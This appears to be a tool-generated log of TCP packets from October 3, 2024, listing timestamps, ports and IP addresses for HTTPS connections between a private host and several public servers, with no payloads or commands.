Oct 3, 2024 17:19:58.293943882 CEST	56138	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.294020891 CEST	443	56138	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.294099092 CEST	56138	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.294217110 CEST	56138	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.294249058 CEST	443	56138	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.294559002 CEST	56138	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.294589043 CEST	443	56138	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.294642925 CEST	56138	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.294733047 CEST	443	56138	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.298486948 CEST	56134	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:58.302140951 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.302426100 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.302486897 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.302784920 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.303189039 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.303280115 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.303307056 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.307431936 CEST	443	56137	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.310013056 CEST	443	56136	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.310322046 CEST	56136	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:58.310337067 CEST	443	56136	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.310661077 CEST	443	56136	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.311059952 CEST	56136	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:58.311121941 CEST	443	56136	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.311297894 CEST	56136	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:58.311321974 CEST	443	56136	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.314502001 CEST	56137	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.332461119 CEST	443	56133	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.332998037 CEST	443	56133	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.333061934 CEST	56133	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:58.333873034 CEST	56133	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:58.333906889 CEST	443	56133	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.336186886 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.336227894 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.336405039 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.336767912 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.336781979 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.343426943 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.344882965 CEST	56140	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:58.344893932 CEST	443	56140	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:58.345071077 CEST	56140	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:58.345305920 CEST	56140	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:58.345318079 CEST	443	56140	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:58.345515966 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.401525021 CEST	443	56137	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.401738882 CEST	443	56137	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.401801109 CEST	56137	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.402179003 CEST	56137	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.402194977 CEST	443	56137	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.405577898 CEST	56141	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.405639887 CEST	443	56141	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.405812025 CEST	56141	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.405999899 CEST	56141	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.406030893 CEST	443	56141	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.502691984 CEST	443	56134	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:58.502819061 CEST	443	56134	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:58.502878904 CEST	56134	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:58.503768921 CEST	56134	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:58.503796101 CEST	443	56134	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:58.507502079 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:58.507545948 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:58.507725000 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:58.508153915 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:58.508172035 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:58.519125938 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:58.519164085 CEST	443	56143	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:58.519332886 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:58.519475937 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:58.519489050 CEST	443	56143	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:58.524713993 CEST	443	56136	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.524791002 CEST	443	56136	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.524997950 CEST	56136	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:58.525439978 CEST	56136	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:58.525449991 CEST	443	56136	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:58.529469967 CEST	56144	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:58.529510021 CEST	443	56144	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:58.529571056 CEST	56144	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:58.529716969 CEST	56144	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:58.529737949 CEST	443	56144	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:58.619929075 CEST	443	56138	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.620584965 CEST	443	56138	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.620646000 CEST	56138	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.620805025 CEST	56138	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.620821953 CEST	443	56138	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.623215914 CEST	56145	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.623239994 CEST	443	56145	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.623318911 CEST	56145	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.623558044 CEST	56145	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.623574972 CEST	443	56145	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.624128103 CEST	56146	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.624140978 CEST	443	56146	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.624255896 CEST	56146	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.624470949 CEST	56146	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.624478102 CEST	443	56146	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.758732080 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.758826971 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.758838892 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.758862019 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.758878946 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.758920908 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.758933067 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.758975983 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.759150982 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.759208918 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.759989977 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.760061979 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.765333891 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.765405893 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.765414000 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.765455961 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.765499115 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.765507936 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.771689892 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.771711111 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.771748066 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.771761894 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.771806955 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.781908989 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.781996965 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.782020092 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.793813944 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.794047117 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.794058084 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.795124054 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.795334101 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.795531034 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.795609951 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.795681000 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.795687914 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.823513031 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.838618040 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.851674080 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.851726055 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.851736069 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.851747990 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.851769924 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.851797104 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.851804972 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.851816893 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.851843119 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.851850986 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.851890087 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.851897001 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.854824066 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.854866028 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.854895115 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.854904890 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.854940891 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.860795975 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.860857964 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.860903025 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.860955000 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.867103100 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.867151022 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.867392063 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.867412090 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.873266935 CEST	443	56141	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.873461008 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.873498917 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.873516083 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.873527050 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.873599052 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.873672009 CEST	56141	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.873682976 CEST	443	56141	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.874036074 CEST	443	56141	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.874406099 CEST	56141	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.874470949 CEST	443	56141	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.874609947 CEST	56141	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:58.879677057 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.879735947 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.879749060 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.885651112 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.885693073 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.885726929 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.885735035 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.885776043 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.891526937 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.891585112 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.891591072 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.891598940 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.891642094 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.896686077 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.896723032 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.896764994 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.896780014 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.896787882 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.896807909 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.896847010 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.896852970 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.896887064 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.897180080 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.897223949 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.897367954 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.897393942 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.897403002 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.897437096 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.897986889 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.898000002 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.898041964 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.898083925 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.898092031 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.898092985 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.898148060 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.898497105 CEST	56139	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.898513079 CEST	443	56139	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.901546001 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.901575089 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.901771069 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.902004004 CEST	56147	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:58.902017117 CEST	443	56147	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:58.903429031 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.903460979 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.903526068 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.903537035 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.903575897 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.908669949 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.908754110 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.908762932 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.919428110 CEST	443	56141	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:58.946686983 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.946721077 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.946764946 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.946796894 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.946815968 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.946827888 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.946921110 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.946960926 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.946969032 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.947113991 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.947145939 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.947165012 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.947171926 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.947184086 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.947218895 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.947220087 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.947237968 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.947278023 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.947539091 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.947581053 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.949239016 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.949275970 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.949301004 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.949309111 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.949352026 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.953664064 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.953695059 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.953722000 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.953736067 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.953775883 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.958591938 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.958739996 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.958795071 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.958803892 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.959209919 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.959283113 CEST	443	56135	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:58.959373951 CEST	56135	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:58.977188110 CEST	443	56140	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:58.977427006 CEST	56140	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:58.977449894 CEST	443	56140	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:58.980988026 CEST	443	56140	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:58.981076956 CEST	56140	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:58.981405020 CEST	56140	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:58.981568098 CEST	443	56140	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:58.981630087 CEST	56140	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:58.981724977 CEST	443	56140	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.005669117 CEST	443	56141	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.005908012 CEST	443	56141	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.005983114 CEST	56141	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.006516933 CEST	56141	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.006565094 CEST	443	56141	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.030519009 CEST	56140	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:59.030551910 CEST	443	56140	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.078511000 CEST	56140	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:59.079258919 CEST	443	56146	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.079649925 CEST	56146	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.079662085 CEST	443	56146	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.079837084 CEST	443	56145	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.079983950 CEST	443	56146	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.080086946 CEST	56145	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.080096960 CEST	443	56145	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.080352068 CEST	56146	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.080400944 CEST	443	56146	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.080449104 CEST	443	56145	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.080526114 CEST	56146	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.080538988 CEST	56146	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.080553055 CEST	443	56146	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.080761909 CEST	56145	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.080827951 CEST	443	56145	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.080842972 CEST	56145	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.126513958 CEST	56145	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.126533031 CEST	443	56145	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.145392895 CEST	443	56143	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:59.146357059 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:59.146369934 CEST	443	56143	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:59.147454977 CEST	443	56143	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:59.147522926 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:59.148938894 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:59.149007082 CEST	443	56143	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:59.149930000 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:59.149936914 CEST	443	56143	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:59.160164118 CEST	443	56144	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.164401054 CEST	56144	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:59.164428949 CEST	443	56144	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.165673971 CEST	443	56144	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.165734053 CEST	56144	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:59.166281939 CEST	56144	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:59.166357040 CEST	443	56144	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.166788101 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.166841030 CEST	56144	443	192.168.2.17	216.58.206.68
Oct 3, 2024 17:19:59.166851044 CEST	443	56144	216.58.206.68	192.168.2.17
Oct 3, 2024 17:19:59.167006016 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.167035103 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.167738914 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.168035030 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.168121099 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.168162107 CEST	56142	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:59.168186903 CEST	443	56142	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:59.189511061 CEST	56143	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:59.210375071 CEST	443	56145	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.210572004 CEST	443	56145	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.210644960 CEST	56145	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.211070061 CEST	56145	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.211102009 CEST	443	56145	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.216439962 CEST	443	56146	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.216602087 CEST	443	56146	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.216664076 CEST	56146	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.216856003 CEST	56146	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.216861963 CEST	443	56146	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.219326019 CEST	56148	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.219366074 CEST	443	56148	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:59.219445944 CEST	56148	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.219635963 CEST	56148	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:59.219655991 CEST	443	56148	35.186.194.58	192.168.2.17
